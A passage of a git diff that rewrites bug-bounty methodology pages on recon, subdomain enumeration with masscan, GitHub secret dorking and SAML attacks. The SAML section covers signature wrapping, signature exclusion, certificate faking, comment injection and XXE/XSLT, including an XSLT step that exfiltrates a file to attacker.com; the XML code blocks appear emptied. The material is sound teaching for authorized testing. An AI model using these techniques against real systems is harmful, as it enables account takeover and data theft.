[TruffleHog](https://github.com/dxa4481/truffleHog) — deep credential scanning of repos (full commit history) +2. [WatchTower](https://radar.nightfall.ai/) — continuous leak monitoring +3. [Dorki](https://dorki.attaxa.com/) — GitHub dork automation +4. [GitGot](https://github.com/BishopFox/GitGot), [gitGraber](https://github.com/hisxo/gitGraber), [git-hound](https://github.com/tillson/git-hound) — org/employee-targeted dork runners (see [Github_Recon_Method.md](../Sensitive_Info_Leaks/Github_Recon_Method.md)) + +## Report Tips + +- **NOTE:** If you find any API key, credentials, or other sensitive information under a test directory, do not report it — that is intended behavior. +- Prove impact minimally: validate the token with a read-only/safe call (e.g. identify the owning account), never exfiltrate third-party data or access production. +- Include the exact commit/blob URL and timestamp; GitHub is public evidence triage can verify instantly. + +## Author + [Mr._fr3qu3n533](https://twitter.com/mr_fr3qu3n533) diff --git a/Recon/Workflow.md b/Recon/Workflow.md index 183d3539..bc3c0845 100644 --- a/Recon/Workflow.md +++ b/Recon/Workflow.md @@ -1,80 +1,87 @@ -## Recon workflow +# Recon Workflow -1. IP space discovery -2. TLDs, Acquisitions, & Relations -3. Subdomain Enum -4. Fingerpirnting -5. Dorking -6. Content Discovery -7. Parameter Discovery +Recon is the foundation of every bug-bounty hunt: mapping the target's external attack surface before testing anything. A thorough, repeatable workflow uncovers forgotten assets (staging apps, acquired brands, stray APIs) where bugs hide because nobody else looked. Typical impact: initial access to unscoped-but-owned systems, exposed admin panels, and bugs missed by shallow hunters. -## ASN Discovery +## Hunting Checklist -**ASN Discovery of Target:** +1. **IP space discovery** — find the target's ASNs and owned IP ranges (never test IPs that only belong to a VPS/CDN provider). +2. **TLDs, acquisitions & relations** — map sibling domains, acquired companies, and alternate TLDs that share the same infrastructure. +3. **Subdomain enumeration** — run the passive → active → permutation pipeline (see [subdomain_enumeration.md](subdomain_enumeration.md)). +4. **Fingerprinting** — identify technologies, servers, and versions on every live asset. +5. **Dorking** — mine GitHub/Google/Shodan for leaked secrets and exposed assets (see [Github_Dorking.md](Github_Dorking.md) and the [Sensitive_Info_Leaks](../Sensitive_Info_Leaks/Github-dorks.md) docs). +6. **Content discovery** — brute-force/fuzz paths, files, and backup artifacts. +7. **Parameter discovery** — find hidden request parameters that gate undocumented functionality. -[https://bgp.he.net](https://bgp.he.net/) +## Test Cases & Examples -**ASN using whois:** +### ASN / IP-space discovery -`whois -h whois.cymru.com $(dig +short example.com)` +```bash +# ASN discovery via bgp.he.net — search the org name, note all ASNs listed +# https://bgp.he.net -NOTE: Be careful cause sometimes you might get ASN for VPSs like digital ocean etc. Don't work on them. +# ASN for a domain's IP via Team Cymru whois +whois -h whois.cymru.com $(dig +short example.com) -**Using Nmap & ASN for discoverying IP related to the targetted ASN** +# Enumerate IPs belonging to an ASN with nmap +nmap --script targets-asn --script-args targets-asn.asn= +``` -`nmap --script targets-asn --script-args targets-asn.asn=` +> **NOTE:** Be careful — sometimes the ASN returned belongs to a VPS provider (e.g. DigitalOcean) rather than the target. Don't work on those IPs unless explicitly in scope. -**Gathering Company intel using AMASS** +### Company / asset intelligence with Amass -`amass intel -org ` +```bash +# Gather company intel (organisation name, not domain) +amass intel -org -**ARIN for ASN:** +# Subdomains derived from the target's ASNs +amass intel -asn -[`https://whois.arin.net`](https://whois.arin.net/) +# Reverse-whois: find other domains registered by the same entity +amass intel -d example.com -whois +``` -**Site: IPINFO for ASN** +Additional ASN lookups: [ARIN whois](https://whois.arin.net), [IPinfo](https://ipinfo.io). -[`https://ipinfo.io`](https://ipinfo.io/) +### Discovering brands, acquisitions & related orgs -**Subdomains using ASNs using AMASS:** - -`amass intel -asn ` - -## Discovering Brands - --***Looking for acquisition or related orgs to target*** - -- wikipedia -- Crunchbase - -[Crunchbase: Discover innovative companies and the people behind them](https://www.crunchbase.com) - -- Owler - -[](http://owler.com/) - -- Accquiredby - -[AcquiredBy | Definitive list of bootstrapped acquisitions](https://acquiredby.co/) +Sources to mine for sister domains and acquired companies: +- Wikipedia +- Crunchbase — https://www.crunchbase.com +- Owler — http://owler.com +- AcquiredBy — https://acquiredby.co - LinkedIn -- ReverseWhois using amass intel module +- BuiltWith — https://builtwith.com (tech + related-site discovery) +- Google dork for shared copyright footers: - `amass intel -d [domain.com](http://domain.com) -whois` +``` +intext:"copyright © org_name" +``` -- BuiltWith +- Shodan dork by HTTP favicon hash (same favicon ⇒ same infrastructure, even on unknown domains): -[BuiltWith](https://builtwith.com/) +``` +http.favicon.hash: +``` -- Google dork: +The favicon hash can be computed with [FavFreak](https://github.com/devanshbatham/FavFreak). -`intext:"copyright ©️ org_name"` +## Tools & Resources -- Shodan Dork using HTTP favicon hashes +- [bgp.he.net](https://bgp.he.net) — ASN/IP-range lookup +- [whois.arin.net](https://whois.arin.net), [ipinfo.io](https://ipinfo.io) — IP ownership intel +- [Amass](https://github.com/owasp-amass/amass) — `intel` module for org/ASN/reverse-whois +- [FavFreak](https://github.com/devanshbatham/FavFreak) — favicon hash generation for Shodan/Censys pivoting +- [BuiltWith](https://builtwith.com/), Crunchbase, Owler, AcquiredBy — corporate footprint mapping +- Related docs: [Subdomain Enumeration](subdomain_enumeration.md), [GitHub Dorking](Github_Dorking.md), [Finding Origin IPs](../FindOriginIP/FindOrigin.md) -`http.favicon.hash:` +## Report Tips -**Favicon hash can be found using [favfreak](https://github.com/devanshbatham/FavFreak)** +- Recon itself is rarely a bug, but "forgotten" assets found via this workflow (staging sites, acquired brands with weak protection) are often where critical findings live. +- When reporting bugs on non-obvious assets, include the pivot chain (ASN → IP → reverse DNS → cert/favicon match → subdomain) so triage can verify ownership quickly. ### Author + [Mr._fr3qu3n533](https://twitter.com/mr_fr3qu3n533) diff --git a/Recon/subdomain_enumeration.md b/Recon/subdomain_enumeration.md index 481fad91..24328f81 100644 --- a/Recon/subdomain_enumeration.md +++ b/Recon/subdomain_enumeration.md @@ -1,69 +1,86 @@ -# Subdomain Enumeration -Well, subdomain enumeration is important when you are hunting on wildcard enable scope programs. -If you are able to get unique subdomains that other miss then it's a good chance for you to get some bugs +# Subdomain Enumeration -# General Methodology -* Passive -* Active -* Permutation +Subdomain enumeration is the core of attack-surface mapping — essential for wildcard-enabled scope programs, and for finding forgotten dev/staging/CI assets that the team itself has lost track of. If you resolve subdomains nobody else sees, you get first look at the bugs living on them (takeovers, exposed panels, debug endpoints). -## Passive -In this stage you have to use as much resources as you can to passivly gather subdomains -Now a days it's not that much hard to do with community standard tools that usages API keys +## Hunting Checklist -### Tools +1. **Passive collection** — query as many data sources as possible (certificate transparency, search engines, DNS aggregators, pastes) using API-key-driven tools; costs no traffic to the target. +2. **Merge & de-duplicate** — combine outputs into one sorted list; keep sources separate so you can judge reliability later. +3. **Wildcard detection** — before trusting results, check the domain for wildcard DNS, or every random name will "resolve". +4. **Active brute-force** — resolve wordlist candidates against the target to find records not published anywhere; tune the wordlist to the org's naming conventions (dev, stage, api, internal, brand names). +5. **Permutation** — mutate already-known names (`api` → `api-dev`, `staging-api`, `test2`) and re-resolve; these frequently hit undocumented environments. +6. **Resolve & verify** — convert surviving names to IPs, then port-scan to find live services on odd ports. +7. **Fingerprint the survivors** — hand off to httpx/nmap and continue the [recon workflow](Workflow.md). -* Subfinder -* Amass -* Assetfinder -* Findomain +## Test Cases & Examples -## Active -In this stage you have to perform bruteforcing on your target host to see if the word from your wordlist resolve as valid subdomain or not +### Passive enumeration -### Tools +Community-standard tools that consume API keys and aggregate dozens of sources: -* ShuffleDNS -* Aiodnsbrute +- **Subfinder** — `subfinder -d example.com -o subs.txt` +- **Amass** — `amass enum -passive -d example.com` +- **Assetfinder** — `assetfinder --subs-only example.com` +- **Findomain** — cert-transparency focused, very fast -## Permutation -In this stage you have to play around the subdomains. Now do changed with the words and see still it resolve as valid or not +### Wildcard check -## Portscan -Convert domains into ip address ```bash -while read l; do ip=$(dig +short $l|grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"|head -1);echo "[+] '$l' => $ip";echo $ip >> ips.txt;done < domains.txt - +# Resolve two random, unlikely names; identical/mirrored answers = wildcard DNS +dig +short a1b2c3d4.example.com +dig +short e5f6a7b8.example.com ``` -we will use masscan for faster results +### Active brute-force + +In this stage you perform brute-forcing against the target to see if a word from your wordlist resolves as a valid subdomain: + +- **ShuffleDNS** — `shuffledns -d example.com -list subs.txt -resolver resolvers.txt -wordlist subdomains.txt` +- **Aiodnsbrute** — async brute-forcer + +### Permutation + +Play around with known subdomains: mutate/combine words and check whether they still resolve as valid names: + +- **AltDNS** +- **DNSGen + ShuffleDNS** (generate permutations, then brute-resolve them) ->masscan -p1-65535 -iL ips.txt --max-rate 1800 -oG output.log +### Port scanning -or you can use [Naabu](https://github.com/projectdiscovery/naabu), [RustScan](https://github.com/RustScan/RustScan/). +Convert domains into IP addresses: -### Tools +```bash +while read l; do ip=$(dig +short $l|grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"|head -1);echo "[+] '$l' => $ip";echo $ip >> ips.txt;done < domains.txt +``` + +Use masscan for faster results: + +```bash +masscan -p1-65535 -iL ips.txt --max-rate 1800 -oG output.log +``` -* AltDNS -* DNSGen + ShuffleDNS +Or use [Naabu](https://github.com/projectdiscovery/naabu) or [RustScan](https://github.com/RustScan/RustScan/). -## Reference & Resources +## Bypass Techniques -https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html +- **Rate limiting / source throttling:** rotate resolvers (public DNS lists for ShuffleDNS) and run passive sources over several days instead of hammering one API. +- **Private/internal names:** they won't appear in CT logs — brute-force and permutation are the only ways in. +- There's a lot more you can do; the above are the community-standard approaches. -https://0xpatrik.com/subdomain-enumeration-2019/ +## Tools & Resources -https://0xpatrik.com/subdomain-enumeration-smarter/ +- [SEF](https://github.com/remonsec/SEF) — automated framework that chains this whole workflow +- [Pentester.Land subdomain enumeration cheatsheet](https://pentester.land/cheatsheets/2018-11-14/subdomains-enumeration-cheatsheet.html) +- [Subdomain enumeration (2019) — 0xpatrik](https://0xpatrik.com/subdomain-enumeration-2019/) +- [Subdomain enumeration — smarter — 0xpatrik](https://0xpatrik.com/subdomain-enumeration-smarter/) +- [Bug bounty recon — faster port scan](https://rootsploit.com/bug-bounty-recon-faster-port-scan/) -https://rootsploit.com/bug-bounty-recon-faster-port-scan/ +## Report Tips -Theres a lot you can do. For now just mentioning communty standard approaches. Will be updating it regularly depending on the methodology comes out. +- A subdomain that resolves but is dead/unclaimed may be a **subdomain takeover** — prove it with a working PoC (CNAME to an available resource) rather than reporting the name alone. +- For undocumented environments (staging, internal panels), framing matters: explain business risk (weak credentials, test data, production parity) — see [Subdomain_Takeover](../Subdomain_Takeover/Subdomain_Takeover.md). -## Framework -An automated framework can be used to automate those whole workflow +### Author -* [SEF](https://github.com/remonsec/SEF) -___ -## Author [Mehedi Hasan Remon](https://twitter.com/remonsec) -[Rishi Choudhary](https://twitter.com/0xRyuk) \ No newline at end of file +[Rishi Choudhary](https://twitter.com/0xRyuk) diff --git a/SAML/SAML.md b/SAML/SAML.md index 4e00dc0f..6d798ab9 100644 --- a/SAML/SAML.md +++ b/SAML/SAML.md @@ -1,257 +1,219 @@ -# SAML -- **Single Sign-on (SSO) is an authentication service that allows users to utilize a single set of credentials to access multiple applications. Security Assertion Markup Language (SAML) is one of the ways one can implement SSO.** -- **Security Assertion Markup Language (SAML) is a markup language implemented in XML.** -- **SAML messages are base64 encoded but that is easily decoded to view the message contents.** -- **SAML and OAuth are different protocols and are used for different purposes, OAuth is a protocol for authorization while SAML is a protocol for authentication.** +# SAML Attacks -# How it Works: +Security Assertion Markup Language (SAML) is an XML-based protocol for implementing Single Sign-On (SSO): one set of credentials unlocks many applications. SAML messages are only Base64-encoded (trivially decoded), and parsing/verification pitfalls are rife — signature wrapping, excluded signatures, untrusted certificates and recipient confusion all let an attacker assert an identity they do not own. Real-world impact: authentication bypass and account takeover of any user (including admins) on the Service Provider. -- SAML enables SSO by managing the interaction between three parties: The user(**SAML Assertion**), the identity provider, and the service provider +Note: SAML and OAuth are different protocols for different purposes — OAuth is for **authorization**, SAML is for **authentication**. -```python -1. SAML Assertion:An XML message that contains information about the user’s identity and potentially other user attributes. -2. Identity Provider (IdP): The service performing the authentication and issuing the Assertion. Authentication can be any number of things from username/password to 2FA. -3. Service Provider (SP): The web application that the user wants to access. -``` +## Roles (how it works) -![Capture JPG](https://user-images.githubusercontent.com/33719912/157280386-aecedbe9-55d9-49fb-aa20-afc31393c5f9.jpg) +```text +1. SAML Assertion: an XML message containing information about the user's identity + and potentially other user attributes. +2. Identity Provider (IdP): performs the authentication (username/password, 2FA, ...) + and issues the Assertion. +3. Service Provider (SP): the web application the user wants to access. +``` +![SAML flow](https://user-images.githubusercontent.com/33719912/157280386-aecedbe9-55d9-49fb-aa20-afc31393c5f9.jpg) -# Attacks: +## Hunting Checklist -1. **XML SIGNATURE WRAPPING (XSW):** -- The basic premise behind XSW is that XML documents containing XML Signatures may be processed in two separate steps: once for the validation of the digital signature, and once for the real application that uses the XML data. Consider the following two steps and the methods used to arrive at a single XML element: -- XML Signature Validation - - The application locates the **``**’s **``** element - - The application uses the **``**’s **`URI`** attribute to determine which XML element is signed - - The application (in)validates the signed XML element -- After validation, the same application attempts to use the signed data as part of its normal operation. - - The application’s XML parser locates its desired XML element using top-down tree-based navigation +1. **Find SAML endpoints** — Google dorks and Burp search (see below); trigger "Login with SSO/SAML". +2. Log in with a real account and **capture the SAMLResponse** (POST body, `PHNhbWx...`/`PD94bWw...` Base64 prefix) in SAML Raider. +3. **Decode it** (Base64 → XML) and map the elements: `Response`, `Assertion`, `Subject/NameID`, `Conditions/Recipient`, `Audience`, `SubjectConfirmationData`, `ds:Signature`. +4. Ask the client contact for a **second valid username** on the system (no credentials needed) — you need a target identity to assert. +5. Test **signature exclusion**: remove the `` and forward; if there is no error, tamper the `NameID`/UserID. +6. Test **XSW (signature wrapping)**: apply every one of the 8 XSW variants in SAML Raider, swapping the top/processed assertion to the victim. +7. Test **certificate faking**: self-sign the message with an attacker cert and re-sign. +8. Test **token recipient confusion**: try a valid token from a sibling SP on the same IdP. +9. Test **attribute/comment injection** in NameID during registration. +10. Test **XXE** and **XSLT** injection in the XML — both can outrun signature verification. +11. Confirm impact by landing in the victim's session. -```python -- Signature wrapping attacks bypass signature validation of Sam'l assertions. This is done because the service provider does not check for multiple assertions. By sending more than one assertion within a SAML message, we're able to confuse the service provider. We are able to have our valid assertion pass through with an Invalid assertion that then assumes the identity of another user when engaged with a penetration test involving SAML. Make sure you ask your client contact for an extra username which is valid on the system for testing purposes. You won't need the credentials for this user, but you do need another user name that is valid. -- When multiple assertion bodies are provided to the service provider with a signature wrapping attack, after the identity provider authenticated our user, we are able to confuse the service provider and then we are able to gain access to the additional users account that we provided in this case Admin. +## Test Cases & Examples -- There are total 8 types XSW attacks. (All of them can be easily done using SAMLRaider) +### Burp/Google hunting -# Steps to Perform XSW Attacks: -1. Login to SSO -2. Intercept the request were you can see SAML Assertions in SAML Raider -3. Try every XSW attacks that SAML Raider offers by clicking "Apply XSW" button. -4. Once you see XSW attack applied in SAML Raider change the top assertion value to you desire account -5. Now Forward it through. -6. Done, Check if you are logged in as the victim. +```text +Google dorks to find SAML logins: +inurl:"/saml2?SAMLRequest=" +inurl:"/simplesaml/module.php/core/loginuserpass.php?AuthState=" +inurl:"simplesaml/saml2/idp" -Reference: https://www.youtube.com/watch?v=ALakvKDsZLo +Burp search [SAMLResponse]: + 1. PHNhbWx -> base64 decode -> ' base64 decode -> ' element of the , + uses its URI attribute to locate the signed element, + and (in)validates that element. +- Data usage: + the app's XML parser then locates its desired element via + top-down tree-based navigation — which may NOT be the validated one. +``` -XSW Attacks #3 -- The first example of an XSW that wraps the Assertion element is XSW #3. The cloned Assertion is inserted as the first child of the root Response element by SAML Raider. The replicated Assertion is a sibling of the original Assertion. -XSW Attakcs #4 -- XSW #4 is similar to #3, except that the original Assertion becomes a child of the duplicated Assertion in this case. +XSW bypasses signature validation because the SP **does not check for multiple assertions**: send a valid signed assertion *plus* an invalid/unsigned one that impersonates another user (e.g. Admin); after the IdP authenticates *our* user, the confusion grants access to the other account. There are 8 XSW types, all easily applied with SAML Raider. -**Key Note:** XSW #5 and #6 are similar and deals with Assertion Wrapping +Steps: +1. Log in to the SSO. +2. Intercept the request where SAML assertions are visible in SAML Raider. +3. Try every XSW attack via the **"Apply XSW"** button. +4. Once applied, change the **top assertion** value to your desired account. +5. Forward, and check whether you land in the victim's session. -XSW Attack #5 -- XSW #5 is the first example of Assertion wrapping in which the Signature and the original Assertion are not in one of the three typical configurations (enveloped/enveloping/detached). The duplicated Assertion encircles the Signature in this example. -XSW Attack #6 -- XSW #6 places its duplicated Assertion in the same spot as #s 4 and 5. The copy of the Assertion envelopes the Signature, which in turn envelopes the original Assertion. +Variants (reference: [video](https://www.youtube.com/watch?v=ALakvKDsZLo)): -**Key Note:** -- Extensions is a valid XML element with a broader schema specification. This technique was created in response to the OpenSAML library by the authors of this white paper. To accurately compare the ID used during signature validation to the ID of the processed Assertion, OpenSAML employed schema validation. The authors discovered that if copied Assertions with the same ID as the original Assertion were children of an element with a less restrictive schema definition, they might avoid this countermeasure. -- XSW attack #7 and #8 +- **XSW #1 / #2 — the two that manipulate *Responses*.** #1 clones the Response+Assertion and inserts the original Signature as a child of the *copied* Response — the parser then picks the copy at the top instead of the signed original (enveloping signature). #2 is the same but with a **detached** signature; the malicious Response's position stays unchanged. +- **XSW #3 / #4 — Assertion elements.** #3: cloned Assertion inserted as first child of the root Response, sibling of the original. #4: like #3, but the original Assertion becomes a *child* of the duplicated Assertion. +- **XSW #5 / #6 — Assertion wrapping.** #5: the duplicated Assertion encircles the Signature (neither enveloped/enveloping/detached configuration). #6: copy sits where #4/#5 put theirs and envelopes the Signature, which in turn envelopes the original Assertion. +- **XSW #7 / #8 — Extensions (schema) abuse.** Extensions is a valid element with a broader schema. OpenSAML compared the ID used during validation to the processed Assertion's ID via schema validation — but copied Assertions with the *same ID* placed under a less-restrictive element evade that check. #7 inserts an Extensions element with the copied Assertion as child; #8 is the variant where the **original** Assertion is the child of the less restrictive element. -XSW Attack #7 -- XSW #7 inserts an Extensions element and adds the copied Assertion as a child. -XSW Attack #8 -- XSW #8 use a less restrictive XML element to execute a variant of the attack pattern employed in XSW #7. Instead of the copied Assertion, the original Assertion is the child of the less restrictive element this time. -``` +### 2. XML Signature Exclusion -2. **XML SIGNATURE EXCLUSION:** -- Signature Exclusion is used to test how the SAML implementation behaves when there is no Signature element. -- When a Signature element is absent the signature validation step may get skipped entirely. +Tests how the implementation behaves when **no Signature element exists** — the validation step may get skipped entirely. -```python -# Steps to Perform: -1. Intercept SAML response. -2. Open SAMLRaider and click "Remove Signatures" button -3. Forward the request. -4. If not error from SP (Service Provider) then try tampering attribute like UserID. -5. Done!, check if you are in Vitim Account. +1. Intercept the SAML response. +2. In SAML Raider click **"Remove Signatures"**. +3. Forward. If the SP returns no error, tamper attributes like UserID/NameID. +4. Check whether you are in the victim's account. -# Other Signature Attacks: -- Predictable signature -- Use of encryption with a weak signature +Related signature attacks: predictable signature, use of encryption with a weak signature. -``` +### 3. Certificate Faking -3. **CERTIFICATE FAKING:** -- Certificate faking is the process of testing whether or not the Service Provider verifies that a trusted Identity Provider signed the SAML Message. - -```python -# Steps to Perform: -1. Intercept SAML response in SAMLRaider. -2. If there is a Signature included in the Response, use the "Send Certificate to SAML Raider Certs" button. -3. After sending the certificate, we should see an imported certificate in the SAML Raider Certificates tab. -4. We highlight the imported cert and press the "Save and Self-Sign" button. -5. Back to Burp Proxy SAML Raider -6. First, select the new self-signed cert from the XML Signature dropdown menu. -7. Then use the "Remove Signatures" button to remove any existing signatures. -8. Finally, use the "(Re-)Sign Message" or "(Re-)Sign Assertion button" -9. After signing the message with the self-signed cert, send it on its way. - -- If we authenticate, we know that we can sign our SAML Messages. -- The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider. -``` +Tests whether the SP verifies that a **trusted IdP** signed the message. -4. **TOKEN RECIPIENT CONFUSION:** -- Token Recipient Confusion tests whether or not the Service Provider validates the Recipient. -- The Recipient field is an attribute of the SubjectConfirmationData element, which is a child of the Subject element in a SAML Response. -- The Recipient attribute found on the SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted. +1. Intercept the SAML response in SAML Raider. +2. If a Signature is included, use **"Send Certificate to SAML Raider Certs"**. +3. In the SAML Raider Certificates tab, highlight the imported cert and press **"Save and Self-Sign"**. +4. Back in the SAML Raider proxy tab: select the new self-signed cert from the **XML Signature dropdown**. +5. **"Remove Signatures"**, then **"(Re-)Sign Message"** or **"(Re-)Sign Assertion"**. +6. Forward. Successful auth ⇒ you can sign your own SAML messages, i.e. change any Assertion value (NameID, attributes) and have the SP accept it. -```python -# Pre-requisite: -- Have a Legit account on a SP to use the token we get from SP on Target-SP and both SP's should use Same IdP. +### 4. Token Recipient Confusion -# Steps to Peform: -1. Get Token From Legit-SP -2. Try Same on Target-SP -3. If successful you will be able to access Target-SP resource. +Tests whether the SP validates the **Recipient** — an attribute of `SubjectConfirmationData` (child of `Subject`) giving the URL the Assertion must be delivered to. If the Recipient is a *different* SP than the one receiving it, the Assertion must not be accepted. -#Exploitation Example: -Exploit 1: Suppose that SP SA (Developer Department) and Starget (Sales Department) are accepting tokens from the same IdP, and the attacker does not have access to Starget . -The attacker (e.g. a worker in the developer team) does, however, have a legitimate account on SA, thus he can request a token from the IdP for this service. By sending tA to Starget (instead of SA ), the attack is performed. It is considered successful if tA is accepted by Starget; the attacker is thus logged in with the same account name as he has for SA and gets access to Starget's corresponding resources. +Pre-requisite: a legitimate account on some SP using the **same IdP** as the target. -Exploit 2: Alternatively, the attacker can set up his own SP (Sbad ) offering some service for registered users (e.g., a weather forecast). To authenticate to Sbad, SSO is used and the attacker specifically federates it with the same IdP used by Starget . After that, the attacker lures the victim (a legitimate user of Starget ) to register with and authenticate to Sbad. Instead of or in addition to its usual service (weather forecast), Sbad stores all tokens in a database so that the attacker can access them. The attacker can then try to use the tokens to log in on Starget as the victim. The attack is considered successful, if an authentication token tbad issued for the victim for service Sbad is successfully verified on Starget . -``` +1. Get a token from Legit-SP. +2. Submit the same token to Target-SP. +3. If accepted, you access Target-SP resources as that account. -5. **MISCELLANEOUS ATTACKS:** - -```python -#. Simply Change Assertion Value to Victim: -1. Intercept SAML Response in SAML Raider -2. Change the User parameter or id to other user. - Example: user@email.com to admin@email.com -3. Done, Forward the Request. - -# SAML: Comment Injection I -1. Find Registeration page for SP -2. Use comment in payload like "admin@email.com" while registering -3. SP think it as admin@email.com -4. Done, you are admin now ;) - -# SAML: Comment Injection II -1. Find Registeration page for SP -2. Register as any user like "admin@gmail.com" ==> Invalid signature -3. Try different "admin@gmail.com.test" ==> valid signature -4. SP think it as admin@email.com -5. Done, you are admin now ;) -``` +```text +Exploit 1: SP_A (Developer dept) and SP_target (Sales dept) accept tokens from the same IdP. +The attacker (a developer-team worker) has a legit account on SP_A, so they request token +tA from the IdP for that service — then send tA to SP_target instead of SP_A. If accepted, +the attacker is logged into SP_target under the same account name and gets its resources. -6. **XXE in SAML:** - -```python -**NOTE:** You can try all XXE attack techniques here its not limited to this only. - -# SIMPLE XXE ATTACK: -1. Intercept the SAML Response in SAML Raider -2. Add XXE payload in the beginning like below: - - - - ]> -3. Send the Request and check the response. -4. Done, escalate further!. +Exploit 2: The attacker sets up their own SP (S_bad, e.g. a weather-forecast service) and +specifically federates it via SSO with the same IdP used by SP_target. They lure a victim +(a legit SP_target user) to register and authenticate at S_bad, which secretly stores all +tokens in a database. The attacker then replays the victim's t_bad on SP_target; success = +logged into SP_target as the victim. ``` -7. **XSLT in SAML:** - -```python -**NOTE:** -- The attack doesn’t require a valid signature to succeed. -- The XSLT transformation occurs before the digital signature is processed for verification. - -# Steps to Perform: -1**. Intercept the SAML Response in SAML Raider. -2. Add XSLT payload in side transforms assertion like below. - - ... - - - - - - - - - - - - - - ... - -3. Forward the request and check response. -4. Done Escalate Further.!! -``` - -# Tools: +### 5. Miscellaneous attacks -[SAML Encoder - Online SAML Request-Response Encode Tool - Base64 - Deflate](https://www.samltool.com/encode.php) +**Direct assertion tampering:** +1. Intercept the SAML Response in SAML Raider. +2. Change the User parameter/id to another user — e.g. `user@email.com` → `admin@email.com`. +3. Forward. -[https://github.com/CompassSecurity/SAMLRaider](https://github.com/CompassSecurity/SAMLRaider) +**Comment injection I** — find the SP's registration page and register with: -[GitHub - fadyosman/SAMLExtractor: A tool that can take a URL or list of URL and prints back SAML consume URL.](https://github.com/fadyosman/SAMLExtractor) +```text +admin@email.com +``` -# Labs: +The SP parses it as `admin@email.com` → you are the admin. -[GitHub - yogisec/VulnerableSAMLApp: Vulnerable SAML infrastructure training applicaiton](https://github.com/yogisec/VulnerableSAMLApp) +**Comment injection II** — same idea when the first form is rejected: -# Reference: +```text +"admin@gmail.com" ==> Invalid signature +"admin@gmail.com.test" ==> valid signature +``` -[How to Hunt Bugs in SAML; a Methodology - Part I -](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) +Register with the second form; the SP still sees `admin@gmail.com`. -[How to Hunt Bugs in SAML; a Methodology - Part II -](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) +### 6. XXE in SAML -[How to Hunt Bugs in SAML; a Methodology - Part III -](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) +All XXE techniques apply — not limited to this example. Add a DOCTYPE at the beginning of the intercepted SAML Response: -[https://sso-attacks.org/Main_Page](https://sso-attacks.org/Main_Page) +```xml + + + + ]> +``` -[https://research.aurainfosec.io/bypassing-saml20-SSO/](https://research.aurainfosec.io/bypassing-saml20-SSO/) +Send and inspect the response, then escalate (file read → SSRF → external DTD). + +### 7. XSLT injection in SAML + +> Note: the attack does **not** require a valid signature — the XSLT transformation happens *before* the digital signature is processed for verification. + +Place an XSLT stylesheet inside the assertion's Transforms: + +```xml + + ... + + + + + + + + + + + + + + ... + +``` -[SAML From A Hackers Perspective - Part 1 Intro](https://www.youtube.com/watch?v=KEwki41ZWmg&list=PLCwnLq3tOElrEU-KoOdeiixiNCWkeQ99F&index=1) +Forward and watch the exfiltrated file arrive at attacker.com, then escalate. -[Verification of SAML Tokens - Traps and Pitfalls](https://web-in-security.blogspot.com/2014/10/verification-of-saml-tokens-traps-and.html) +## Bypass Techniques -## Mind-Maps: +- Signature validation skipped: **absence** of `` (exclusion) vs **ignored** signature (wrap the processed assertion around an unrelated signed node). +- Parser-vs-validator divergence is the core of all 8 XSW variants — try each element position (Response copy, Assertion sibling/child/parent, Extensions child). +- Trust bypass via self-signed certificate re-signing (certificate faking). +- Cross-service token acceptance when `Recipient`/`Audience` is not checked. +- Parser comment handling to split/normalize `NameID` (`admin@corp.com`). +- XML-layer attacks (XXE, XSLT) that execute before signature verification. -- [Mind Map by Harsh Bothra Checklist for SAML.pdf](https://drive.google.com/file/d/1iLgbd9IbcYgu4n1yJAVUyYbWnzYXmbyp/view?usp=drivesdk) +## Tools & Resources -![https://raw.githubusercontent.com/0xInfection/Stuff/master/mindmaps/mind-map-saml.png](https://raw.githubusercontent.com/0xInfection/Stuff/master/mindmaps/mind-map-saml.png) +- [SAML Raider (Burp extension)](https://github.com/CompassSecurity/SAMLRaider) — certs, XSW one-click, sign/remove +- [SAML Encoder (samltool.com)](https://www.samltool.com/encode.php) — Base64/deflate encode-decode +- [SAMLExtractor](https://github.com/fadyosman/SAMLExtractor) — find SAML consume URLs from a URL list +- [yogisec/VulnerableSAMLApp](https://github.com/yogisec/VulnerableSAMLApp) — practice lab +- [How to Hunt Bugs in SAML, a Methodology I–III (epi052)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) — [II](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) / [III](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) +- [sso-attacks.org](https://sso-attacks.org/Main_Page) — catalogue of SAML/SSO attacks +- [Bypassing SAML 2.0 SSO (Aura InfoSec)](https://research.aurainfosec.io/bypassing-saml20-SSO/) +- [Verification of SAML Tokens — Traps and Pitfalls](https://web-in-security.blogspot.com/2014/10/verification-of-saml-tokens-traps-and.html) +- [SAML From A Hacker's Perspective (video)](https://www.youtube.com/watch?v=KEwki41ZWmg&list=PLCwnLq3tOElrEU-KoOdeiixiNCWkeQ99F&index=1) +- Mindmaps: [Harsh Bothra SAML checklist (PDF)](https://drive.google.com/file/d/1iLgbd9IbcYgu4n1yJAVUyYbWnzYXmbyp/view?usp=drivesdk) -# Tips: +![SAML mindmap](https://raw.githubusercontent.com/0xInfection/Stuff/master/mindmaps/mind-map-saml.png) -```python -Google Dork to Find SAML logins: -inurl:"/saml2?SAMLRequest=" -inurl:"/simplesaml/module.php/core/loginuserpass.php?AuthState=" -inurl:"simplesaml/saml2/idp" +## Report Tips -Burp search [SAMLResponse] - 1.PHNhbWx -> b64decode -> ' b64decode -> '> sqli - 5. sqlmap -m sqli --dbs --batch - 6. use tamper scripts -``` -* More Details in this source thread [https://twitter.com/El3ctr0Byt3s/status/1302706241240731649](https://twitter.com/El3ctr0Byt3s/status/1302706241240731649) +## Hunting Checklist -## 3. Using heuristic scan to get hidden parameters : -``` - 1. Use subdomain enumeration tools on the domain. - 2. Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains. - 3. You can use the same method described above in 2nd point. - 4. Use Arjun to scan for the hidden params in the urls. - 5. Use --urls flag to include all urls. 